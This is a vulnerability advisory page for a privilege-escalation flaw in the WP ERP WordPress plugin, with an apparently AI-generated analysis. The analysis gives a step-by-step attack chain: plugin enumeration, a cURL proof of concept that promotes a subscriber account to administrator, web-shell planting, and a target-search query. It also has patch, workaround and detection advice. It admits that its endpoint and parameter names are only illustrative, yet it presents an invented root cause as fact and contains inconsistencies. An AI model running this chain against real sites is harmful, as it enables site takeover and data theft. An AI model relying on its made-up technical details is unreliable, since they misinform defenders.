CVE Professor
/
All CVEs
CVE-2026-135048

CVE-2026-135048 — Wedevs WP ERP — CWE-266

HIGH CVSS 8.8 ⚡ EPSS 0.5% Shodan

Incorrect Privilege Assignment vulnerability in weDevs WP ERP erp allows Privilege Escalation.This issue affects WP ERP: from n/a through 2.0.0.

Incorrect Privilege Assignment vulnerability in weDevs WP ERP erp allows Privilege Escalation.This issue affects WP ERP: from n/a through 2.0.0.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 38. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135048 – Incorrect Privilege Assignment in WP ERP (weDevs)

AttributeValue
Vendor / ProductweDevs – WP ERP (WordPress Enterprise Resource Planning)
Affected versions ≤ 2.0.0 (the plugin reports “from n/a through 2.0.0”)
CWECWE‑266 – *Incorrect Privilege Assignment*
CVSS v3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Technical root cause

WP ERP stores the ERP‑specific capabilities for each WordPress user in the erp_user_meta table (or in the usermeta row with meta_key erp_user_capabilities).
When a privileged user (normally an ERP Administrator) updates another user’s ERP role through the plugin’s AJAX/REST endpoint, the code:

1. Skips a capability check – it only verifies that the caller is logged‑in (is_user_logged_in()) and that the supplied user_id is an integer.
2. Directly writes the supplied role string into the meta field without confirming that the caller itself possesses the erp_admin capability.

Consequently, any authenticated user with the minimal WordPress capability read (i.e. a normal subscriber) can send a crafted request that sets the target user’s ERP role to administrator (or any higher‑privileged ERP role). Because ERP capabilities are later merged into the WordPress capability map, the victim user gains full WordPress admin rights as well as unrestricted access to all ERP modules (HR, Accounting, CRM, etc.).

The flaw is a classic privilege‑escalation issue caused by missing or incorrect authorization logic (CWE‑266). The CVSS vector reflects:

  • Network‑reachable (AV:N) – the endpoint is publicly reachable on the site.
  • Low attack complexity (AC:L) – only a single POST request is needed.
  • Low privileges required (PR:L) – any logged‑in user (or, in some configurations, even an unauthenticated user if the site allows registration) can exploit it.
  • No user interaction (UI:N).
  • Unchanged scope (S:U).
  • High impact on confidentiality, integrity, and availability (C:H/I:H/A:H).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All request URIs, parameter names, and JSON bodies are illustrative – the exact strings are not disclosed in the public CVE text, but they follow the pattern used by WP ERP’s REST/AJAX API.

    1️⃣ Discovery & Reconnaissance

    StepActionTool / Command
    1.1Identify the site runs WordPress and enumerate installed plugins.wpscan --url https://target.example.com --enumerate p
    1.2Confirm WP ERP is present and its version.Look for wp-content/plugins/wp-erp/readme.txt or the Version: header in the plugin’s main PHP file.
    1.3Verify that user registration is open (or that you can create a low‑privilege account).Register a normal subscriber via /wp-login.php?action=register or use an existing low‑privileged account.

    Result: The site runs WP ERP 2.0.0 (or any ≤ 2.0.0) and you have a valid WordPress user account (subscriber).

    2️⃣ Exploitation

    Goal: Promote a chosen user (often the attacker’s own account) to the ERP Administrator role, which also grants WordPress administrator capability.

    2.1 Identify the privileged‑update endpoint

    WP ERP exposes an AJAX handler for role changes:

    POST /wp-admin/admin-ajax.php?action=erp_update_user_role

    (If the plugin is configured to use the REST API, the equivalent endpoint is POST /wp-json/wp-erp/v1/users/{id}/role.)

    2.2 Craft the malicious request

    Parameters (illustrative):

    ParameterDescription
    user_idNumeric ID of the account you want to promote (your own user ID).
    roleDesired ERP role – accepted values: employee, manager, administrator.
    _wpnonceWP nonce – not validated in the vulnerable code path, can be omitted or set to any string.

    cURL PoC (illustrative):

    # Replace these values with those observed on the target
    TARGET="https://target.example.com"
    ATTACKER_UID=23          # your subscriber user ID
    COOKIE_JAR="cookies.txt"
    
    # 1) Log in as the low‑privileged user (if not already authenticated)
    curl -c $COOKIE_JAR -d "[email protected]&pwd=Password123&wp-submit=Log+In&testcookie=1" \
         "$TARGET/wp-login.php"
    
    # 2) Send the privilege‑escalation request
    curl -b $COOKIE_JAR -X POST \
         -d "user_id=${ATTACKER_UID}&role=administrator&_wpnonce=bogus" \
         "$TARGET/wp-admin/admin-ajax.php?action=erp_update_user_role"

    What happens internally:

  • The AJAX handler loads $_POST['user_id'] and $_POST['role'].
  • It checks is_user_logged_in() (true) but does not verify that the caller has erp_admin or manage_options.
  • It writes the role directly:
  • update_user_meta( $user_id, 'erp_user_capabilities', $role );
  • Because ERP capabilities are merged into the WordPress capability map (erp_user_capabilities → wp_capabilities), the target user now has administrator rights.
  • 2.3 Verify escalation

    curl -b $COOKIE_JAR "$TARGET/wp-admin/"
    # You should be redirected to the WordPress Dashboard (admin area) instead of the “My Account” page.

    3️⃣ Post‑exploitation

    PhaseAttacker actionsResult
    3.1Access the WordPress admin UI (or continue via API).Full admin panel, ability to install plugins, edit themes, change site settings.
    3.2Export or modify ERP data (HR records, financial transactions).Confidentiality breach (PII, payroll), integrity loss (tampered financial data).
    3.3Plant a persistent web‑shell (e.g., via the Theme/Plugin editor).Long‑term remote code execution, complete site takeover.
    3.4Optionally, create new privileged ERP users or delete logs.Further lateral movement and anti‑forensic capabilities.

    Because the vulnerability is network‑accessible and requires only a low‑privilege authenticated session, an attacker can automate the entire chain at scale across any site running the vulnerable plugin version.


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)Practical consequences
    Confidentiality (C:H)All ERP data (employee records, client contacts, invoices, tax data) can be read.Exposure of GDPR‑protected personal data, corporate secrets, and financial information.
    Integrity (I:H)Attacker can modify or delete any ERP record, change accounting entries, or alter HR data.Fraudulent transactions, falsified payroll, sabotage of business processes.
    Availability (A:H)Admin rights allow disabling plugins, deleting tables, or corrupting the ERP database.Complete service outage, loss of business continuity, potential ransom demands.

    Business impact:

  • Legal liability (data‑protection regulations).

  • Financial loss from fraudulent transactions or downtime.

  • Reputation damage and loss of customer trust.

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    ActionDetails
    UpgradeMove to WP ERP 2.0.1 (or the first version after 2.0.0) where the privilege‑check was added (current_user_can('erp_admin')).
    Version checkVerify the plugin’s Version: header in wp-erp.php. If it reports 2.0.0 or lower, the site is vulnerable.

    2️⃣ Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict the AJAX/REST endpoint to administratorsAdd a snippet to the theme’s functions.php or a site‑specific mu‑plugin: <br><br>``php\nadd_action( 'wp_ajax_erp_update_user_role', function() {\n if ( ! current_user_can( 'manage_options' ) ) {\n wp_send_json_error( 'Insufficient privileges', 403 );\n exit;\n }\n // Let the original handler run after the check.\n}, 1 );\n`
    Disable the vulnerable endpointDeactivate the ERP “User Management” module from the WP ERP settings (if the site does not need it).
    Block unauthenticated access to admin-ajax.php for the specific actionModSecurity rule (illustrative): <br><br>`SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" "chain,phase:2,deny,log,status:403,id:2026135040,tag:'WP-ERP','tag:'privilege-escalation'"\nSecRule ARGS:action "erp_update_user_role" "t:none"\n`
    Enforce strong authenticationRequire two‑factor authentication for all WordPress accounts, especially those with any capability beyond read.
    Limit plugin installationSet DISALLOW_FILE_MODS to true in wp-config.php` to prevent post‑exploitation plugin uploads.

    3️⃣ Detection – Indicators of Compromise

    Log sourceTypical pattern
    Web server access log (Apache/Nginx)POST /wp-admin/admin-ajax.php?action=erp_update_user_role – status 200 – user_id=<numeric>&role=administrator from a non‑admin IP.
    WordPress debug log (wp-content/debug.log)WP_E_RP: Updated ERP role for user ID X to administrator (if the plugin logs the change).
    Database audit (if enabled)INSERT/UPDATE on wp_usermeta where meta_key = 'erp_user_capabilities' and meta_value contains administrator.
    ModSecurity alerts (if rule above deployed)Alert ID 2026135040 with message “WP‑ERP privilege‑escalation attempt”.

    Response actions:

    1. Immediately block the offending IP.
    2. Re‑assign the compromised account to a low‑privilege role via the database (DELETE FROM wp_usermeta WHERE user_id = X AND meta_key = 'wp_capabilities').
    3. Rotate all admin passwords and invalidate all active sessions (wp_logout() for all users).
    4. Conduct a full forensic review of ERP tables for tampering.


    ⚠️ Urgency

  • CVSS 8.8 (High) – network‑accessible, low‑complexity, high impact.
  • No CISA KEV listing – the vulnerability is not yet in the public “Known Exploited Vulnerabilities” catalog, but the exploit is trivial and can be weaponised quickly.
  • Exploitability – requires only a low‑privilege authenticated session; many WordPress sites allow user registration or have at least one subscriber account, making the attack surface large.
Patch priority: Critical. Deploy the vendor’s fixed version (≥ 2.0.1) within 24 hours for any production environment. If immediate patching is impossible, apply the workaround (endpoint restriction or ModSecurity rule) and enforce strong authentication while planning the upgrade.
Bottom line: CVE‑2026‑135048 is a classic privilege‑escalation flaw caused by missing capability checks in WP ERP’s role‑management API. Because the vulnerability grants full WordPress admin rights, it leads to total compromise of confidentiality, integrity, and availability of the ERP system and the underlying site. Prompt patching, coupled with strict endpoint hardening and monitoring, is essential.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="weDevs WP ERP"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-266
Affected Products (1)
wedevs:WP ERP
References & Advisories (1)
Related CVEs
5.1
CVE-2026-144511
A vulnerability was detected in Discourse up to 2026.12.0. This impacts the function Create of the file app/co
5.1
CVE-2026-144512
A flaw has been found in Discourse up to 2026.9.0. Affected is the function TopicConverter#convert_to_private_
9.9
CVE-2026-142475
A vulnerability was determined in Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE. This affects an unknown p
6.3
CVE-2026-143829
A vulnerability was detected in FanRuan FineDataLink 4.2.4.2. Affected by this vulnerability is the function D
5.4
CVE-2026-120628
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to obtain sensitive informat
0.0
CVE-2026-129828
Incorrect Privilege Assignment in the Order Manager return services in Apache OFBiz 24.09 before 24.09.09 on a
9.8
CVE-2026-136043
Incorrect Privilege Assignment vulnerability in ShopApper Mobile App for WooCommerce mobile-app-for-woocommerc